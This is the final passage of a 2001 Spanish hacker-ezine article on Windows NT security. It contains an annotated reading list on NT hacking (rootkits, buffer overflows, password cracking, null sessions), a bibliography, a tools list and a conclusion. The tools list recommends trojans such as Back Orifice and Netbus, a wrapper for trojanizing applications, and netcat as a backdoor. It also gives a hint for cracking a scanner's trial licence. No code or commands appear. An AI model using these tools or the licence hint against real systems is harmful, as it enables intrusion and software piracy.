[45] + Titulo: "Understanding Microsoft Proxy Server 2.0"
+ Autor: NeonSurge
+ Localizable en: http://rhino9.abyss.com
+ Comentarios: Un documento muy ilustrativo sobre Microsoft Proxy
Server 2.0. Muy bueno. En ingles.

[46] + Titulo: "IIS - Internet Information Server"
+ Autor: Nw2o
+ Localizable en: http://www.digitalrebel.net
+ Comentarios: Este documento explica algunas de las vulnerabilidades
de IIS. Bastante logrado.

[47] + Titulo: "Webeando con NETBIOS"
+ Autor: OFaDOWN
+ Localizable en: http://fye_ezine.vicio.org
+ Comentarios: Se explica un poco el funcionamiento de NetBIOS, como
atacarlo via NAT, y algunos comandos net.

[48] + Titulo: "Politicas del Windows NT"
+ Autor: EndlessRoad
+ Localizable en: http://warpedreality.com/inet
+ Comentarios: Un breve pero muy interesante texto sobre las politicas
de NT. De obligada lectura.

[49] + Titulo: "Mi amigo el registro"
+ Autor: Arcangnet
+ Localizable en: http://www.cdlr.org
+ Comentarios: Un texto muy logrado sobre la estructura del registro y
sus adentros.

[50] + Titulo: "Las posibilidades de Windows NT -primera parte-"
+ Autor: Azum Lord
+ Localizable en: http://raza-mexicana.org/raregazz/
+ Comentarios: Un documento que servira de guia para aquellos que no
sepan algunas de las acciones que Windows NT permite
hacer.

[51] + Titulo: "Las posibilidades de Windows NT -segunda parte-"
+ Autor: Azum Lord
+ Localizable en: http://raza-mexicana.org/raregazz/
+ Comentarios: Esta vez se muestran las posibilidades de hackeo a un
NT.

[52] + Titulo: "Seguridad en Windows NT"
+ Autor: Mr.Nexus
+ Localizable en: http://www.cdlr.org
+ Comentarios: Un completo texto que explica la mayor parte de metodos
de hackeo a un NT, tanto fisica como remota. De muy
recomendada lectura.

[53] + Titulo: "Microsoft Proxy Server 2.0"
+ Autor: Taker
+ Localizable en: http://www.cdlr.org
+ Comentarios: Un completo texto sobre el Ms Proxy Server 2.0. Para
aquellos que no pueden leer el texto de NeonSurge por
su idioma, o que quieren ampliar sus conocimientos.

[54] + Titulo: "NTFS"
+ Autor: Falken
+ Localizable en: http://www.set-ezine.org
+ Comentarios: Un buen texto que explica la estructura del NTFS de
forma clara. Muy recomendable.

[55] + Titulo: "A *REAL* NT Rootkit, patching the NT Kernel"
+ Autor: Greg Hoglund
+ Localizable en: http://phrack.infonexus.com/search.phtml?
view&article=p55-5
+ Comentarios: Un estupendo documento sobre como programar tus propios
Rootkits. Trata de cerca el kernel de NT, el modo
protegido del i386, etc. No tiene desperdicio. En
ingles.

[56] + Titulo: "a Quick nT Interrogation Probe (QTIP)"
+ Autor: twitch
+ Localizable en: http://phrack.infonexus.com/search.phtml?
view&article=p52-10
+ Comentarios: Gran documento sobre las sesiones nullas de Windows NT
y la tremenda informacion que a partir de este se puede
subsacar... incluye codigo fuente de un programa que
pone en practica lo dicho en el articulo para sacar
listas de usuarios de un sistema, recursos compartidos,
etc. En ingles.

[57] + Titulo: "NT Security - Frequently Asked Questions"
+ Autor: Dan Shearer, David LeBlanc, Larry Buickel, Mikko Hermanni
Hypponen, Patrik Carlsson, Paul Ashton, Carl Byington, Ondrej
Holas.
+ Localizable en: http://www.it.kth.se/rom/ntsec.html
+ Comentarios: Un documento totalmente imprescindible... En ingles.

[58] + Titulo: "Windows NT Deconstruction Tactics"
+ Autor: vacuum
+ Localizable en: http://packetstorm.securify.com/NT/docs/
NTexploits.txt
+ Comentarios: Un muy buen texto que recorre distintos metodos de hack
a NT. En ingles.

[59] + Titulo: "Windows NT Vulnerabilities Version 2"
+ Autor: Vacuum y Chame|eon
+ Localizable en: http://www.technotronic.com
+ Comentarios: Version ampliada del anterior documento. Muy completo.
En ingles.

[60] + Titulo: "Cracking NT Passwords"
+ Autor: Nihil
+ Localizable en: http://phrack.infonexus.com/search.phtml?
view&article=p50-8
+ Comentarios: Un documento muy logrado acerca de como crackear los
passwords de NT. En el se explican tecnicas de
programacion para ello, entre otras cosas. Incluye
codigo fuente de su programa para crackear las SAM. En
ingles.

[61] + Titulo: "Win32 Buffer Overflows (Location, Exploitation and
Prevention)"

+ Autor: dark spyrit
+ Localizable en: http://phrack.infonexus.com/search.phtml?
view&article=p55-15
+ Comentarios: Pedazo de documento, en el que se explica la
programacion de BOFS para NT. Es una de las guias de
BOFS en NT mas completa. En ingles.

[62] + Titulo: "Aprovechando Buffer Overflows en Windows NT 4"
+ Autor: Mnemonix
+ Localizable en: http://www.infowar.co.uk/mnemonix
+ Comentarios: Otra genialidad de texto acerca de los BOFS para NT.
Se incluyen los ejemplos del Rasman y del Winhlp32. En
ingles.

[63] + Titulo: "NetBIOS: Jugando con Windows NT/2000"
+ Autor: ZeroXT
+ Localizable en: http://www.networking-center.org/2500hz/zip/
netbios.zip
+ Comentarios: Un buen texto donde se muestra informacion tecnica
sobre NetBIOS, asi como un caso real de hack con las
herramientas NAT, Sid2user, User2sid... muy logrado.

[64] + Titulo: "Details About NULL Sessions"
+ Autor: JD Glaser
+ Localizable en: http://packetstorm.securify.com/NT/docs/
null.sessions.html
+ Comentarios: Se ense~a como aprovecharnos de las sesiones nulas de
NT para sacar informacion interesante. Se incluye el
codigo fuente de un programa que saca el verdadero
nombre de la cuenta de administrador. En ingles.

[65] + Titulo: "Securing IIS by breaking"
+ Autor: Mount Ararat Blossom
+ Localizable en: http://www.securityfocus.com/templates/archive.pike?
list=2&mid=140239
+ Comentarios: Un muy completo texto sobre el hackeo a IIS. Trata la
gran mayoria de bugs para IIS. Excelente. En ingles.

[66] + Titulo: "Hacking MS SQL Servers for fun & profit"
+ Autor: Mount Ararat Blossom
+ Localizable en: http://www.securityfocus.com/templates/archive.pike?
list=101&mid=144598
+ Comentarios: Gran texto que explica como hackear servidores SQL de
forma remota. Muy bueno. En ingles.

[67] + Titulo: "Windows NT Security Identifiers"
+ Autor: Mnemonix
+ Localizable en: http://packetstorm.securify.com/NT/docs/sid.htm
+ Comentarios: Buen texto que explica los identificadores de seguridad
de NT, asi como ejemplos del uso de user2sid y
sid2user. En ingles.

[68] + Titulo: "Nt Web server - Security Issues"
+ Autor: La empresa "Telemark Systems"
+ Localizable en: http://www.telemark.net/~randallg/ntsecure.htm
+ Comentarios: Muy buen texto sobre como proteger tu servidor web NT.
Altamente recomendable. En ingles.

[69] + Titulo: "The Unnofficial NT Hack FAQ"
+ Autor: Simple Nomad
+ Localizable en: http://www.nmrc.org/faqs/nt/
+ Comentarios: Un completisimo FAQ acerca del hack a NT. Realmente muy
logrado. En ingles.

[70] + Titulo: "Active Directory"
+ Autor: kamborio
+ Localizable en: http://www.networking-center.org/logs/2000/
l24_06_2000.zip
+ Comentarios: Charla en la que se explica que es y para que sirve el
Active Directory, elemento estrella de Windows 2000.

[71] + Titulo: "Active Directory 2"
+ Autor: satch
+ Localizable en: http://www.networking-center.org/logs/2000/
AD2-satch-%5B25-11-2000%5D-Log.zip
+ Comentarios: Charla que profundiza mas en Active Directory.

[72] + Titulo: "Servidores Telnet bajo W2K"
+ Autor: kamborio
+ Localizable en: http://www.networking-center.org/logs/
2000/l20_05_2000.zip
+ Comentarios: Una buena charla que ense~a la administracion de los
servidores telnet de Windows 2000.

[73] + Titulo: "Migracion de Windows NT a Windows 2000"
+ Autor: satch
+ Localizable en: http://www.networking-center.org/logs/2000/
l08_04_2000.zip
+ Comentarios: Aqui se nos muestran las diferencias mas significativas
que hay entre NT4 y W2K. Muy interesante.

[74] + Titulo: "Windows 2000. Administracion"
+ Autor: kamborio
+ Localizable en: http://www.networking-center.org/logs/2000/
l29_04_2000.zip
+ Comentarios: Una charla muy interesante sobre la administracion de
W2K. Recomendada.

[75] + Titulo: "Hacking BIOS"
+ Autor: Alex Castan Salinas
+ Localizable en: http://www.sindominio.net/cathack
+ Comentarios: Un muy buen texto acerda de como hackear la BIOS.
Realmente muy interesante.



[ 25.5 - Bibliografia ]
---------------------

[76] + Titulo: "A prueba de Hackers"
+ Autor/a: Lars Klander
+ Editorial: Anaya multimedia
+ ISBN: 84-415-0582-9
+ Comentarios: Un buen libro que engloba varios aspectos sobre
seguridad informatica, entre ellos la seguridad en NT.
Se dedican 36 paginas la seguridad en NT. Breve pero
intenso. Recomendado.

[77] + Titulo: "Hackers. Secretos y soluciones para la seguridad de redes"
+ Autor/a: Stuart McClure, Joel Sambray y George Kurtz.
+ Editorial: McGraw-Hill.
+ ISBN: 84-481-2786-2
+ Comentarios: Un muy buen libro que trata los distintos pasos que se
suelen llevar a cabo antes de una intrusion. Incluye 61
paginas sobre hack a NT, 17 paginas sobre hack a W2K, y
21 paginas sobre hack a Windows 95/98. Un libro muy
completo, recomendado.

[78] + Titulo: "Windows 2000 Server. Administracion y control"
+ Autor/a: Kenneth L. Spencer, Marcus Goncalves.
+ Editorial: Prentice Hall.
+ ISBN: 84-481-2786-2
+ Comentarios: Un bien libro sobre como administrar una maquina con
W2K Server. Explica detalladamente las novedades que
incorpora respecto a NT 4.0. Merece la pena.



[ 25.6 - Herramientas ]
---------------------

[79] Back Oriffice: Uno de los mejores troyanos para NT. Ademas es free
source. Puedes bajarlo desde la web de cDc:
http://www.cultdeadcow.com.

[80] BlackICE Pro: Herramienta IDS. Puedes bajarlo en http://www.netice.com

[81] BootAdmin: Sencilla aplicacion que permite apagar las maquinas NT en
las cuales tengas privilegios de administrador o de alguna
cuenta que permita apagar una maquina NT remotamente. Lo
podras encontrar en: http://www.bhs.com.

[82] Centrax: Herramienta IDS. Disponible en http://www.cybersafe.com

[83] CyberCop Server: Herramienta IDS. Disponible en http://www.nai.com

[84] Desktop Sentry: Herramienta IDS. Disponible en
http://www.ntobjectives.com

[85] DumpACL: Buena herramienta que enumera los servicios y controladores
activos en el sistema, aparte de poder comprobar los permisos
en el registro, sus recursos compartidos, etc. Disponible en
http://38.15.19.115/ftp/dumpacl.zip

[86] eLiTeWrap: Herramienta para fusionar dos o mas archivos en uno,
pudiendo troyanizar aplicaciones facil y rapidamente. La
puedes descargar desde
http://www.multimania.com/trojanbuster/elite.zip

[87] Essential NetTools: Una estupenda herramienta que permite enumerar
mucha informacion del sistema objetivo, de manera
visual. Se encuentra en
ftp://ftp.tamos.com/esstls2.zip

[88] Grinder: Buen programa para enumerar las paginas web/scripts de una
maquina. Disponible en http://

[89] Intact: Herramienta IDS. Localizable en
http://www.pedestalsoftware.com

[90] Intrude Alert: Herramienta IDS. Disponible en http://www.axent.com

[91] Kane Security Monitor: Herramienta IDS. La podras localizar en
http://www.securitydynamics.com

[92] Legion: Enumera los recursos compartidos de una o varias maquinas,
ya que escanea rangos de IP de clase C. Puedes descargarlo
desde http://www.technotronic.com/rhino9

[93] L0pht Crack: A mi juicio, el mejor crackeador de SAM. Lo malo es que
es shareware... 15 dias de trial... te lo puedes bajar de
http://www.l0pht.com

[94] NAT: Muy buena herramienta para auditar las contrase~as de los
recursos Netbios, usando ataques de diccionario. Puedes bajarla
desde ftp://ftp.technotronic.com/microsoft/nat10bin.zip

[95] Netbus: Troyano capaz de correr en NT... no es el mejor pero merece
el que le echeis un vistazo. Se encuentra en
http://www.netbus.org

[96] Netcat: Que se puede decir de netcat que no se haya dicho ya?... la
navaja suiza del tcp/ip... se puede usar perfectamente como
troyano. Puedes bajarlo desde http://www.l0pht.com/netcat.
Para los que quieran saber como usarlo, pueden encontrar un
documento de hven en la web de hven, mas concretamente en
http://www.hven.com.ve/seguridad/netcat.txt

[97] Netviewx: Aplicacion para listar servidores un un dominio o grupo de
trabajo ejecutando servicion determinados. Puedes bajarla en
http://www.ibt.ku.dk/jesper/NetViewX/default.htm.

[98] NTFSDOS: Utilidad que permite leer NTFS. Si no fuera por esta
herramienta no estariais ahora leyendo esto... ante
catastrofes con NT ayuda bastante. Puedes encontrarlo en
http://www.sysinternals.com.

[99] Pwdump2: Aplicacion que vuelva los hashes del SAM de NT del campo de
contrase~a, este o no Syskey activado (syskey segun Microsoft
impide que se desencripten las contrase~as... humm...). Trae
importantes mejores respecto a su version anterior, que
podreis encontrar en http://www.webspan.net/~tas/pwdump2/ ,
donde en la parte inferior tendreis los links a las dos
versiones de Pwdump2.

[100] RealSecure: Herramienta IDS. Puedes encontrarla en http://www.iss.net

[101] Retina: Uno de los mejores escaners de vulnerabilidades en NT. Se
tienen 30 dias de prueba... a no ser que logreis crackearlo,
claro. Una pista, paseaos por el registro y buscad la cadena
"key". Puedes bajarlo desde http://www.eeye.com.

[102] Revelation: Saca los passwords en texto plano del campo de contrase~a
de la GUI de NT y la familia windows, los cuales cambian
cada caracter por un asterisco. Esto solo funcionara en
determinadas aplicaciones. Puedes encontrarlo en
http://www.snadboy.com.

[103] SeNTry: Herramienta IDS. Puedes encontrarla en
http://www.missioncritical.com

[104] SessionWall-3: Herramienta IDS. Localizable en http://www.platinum.com

[105] Sid2User: Encuentra usuarios a partir del SID obtenido con User2Sid.
Puedes encontrarlo en
http://www.chem.msu.su:8080/~rudnyi/NT/sid.txt

[106] Tripwire: Herramienta IDS. Disponible en
http://www.tripwiresecurity.com

[107] User2Sid: Identifica el SID de un dominio. Puedes encontrarlo en
http://www.chem.msu.su:8080/~rudnyi/NT/sid.txt

[108] VNC: De el hemos hablado anteriormente, asi que no hay mucho mas que
decir, tan solo repetir que lo puedes encontrar en
http://www.uk.research.att.com/vnc.



[ 26 - Ultimas palabras y conclusion final ]
------------------------------------------

Como se ha visto a lo largo de este documento, NT posee una gran cantidad
de agujeros de seguridad que pueden comprometer la integridad de todo el
sistema. NT no es un sistema seguro... pero que sistema es realmente seguro?
exceptuando a plan9, todavia en construccion, Windows NT es tan seguro o mas
que los demas sistemas operativos de servidor que estan en el mercado. Puede
que algun LiNUX lover vea esta comparacion con cierto recelo, pero solo hace
falta ver la seccion de vulnerabilidades de security focus para comparar. Y
no, no estoy entrando en las tipicas OS Wars. Cada sistema operativo vale
para algo; escoge el que mas te guste, y Carpe Diem.

Y con esta peque~a reflexion llegamos al final del documento. Espero que
no se os haya hecho demasiado pesado para leer y que hayais aprendido algo
con el.


Un saludo,

- Tahum, 2001.


*EOF*

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT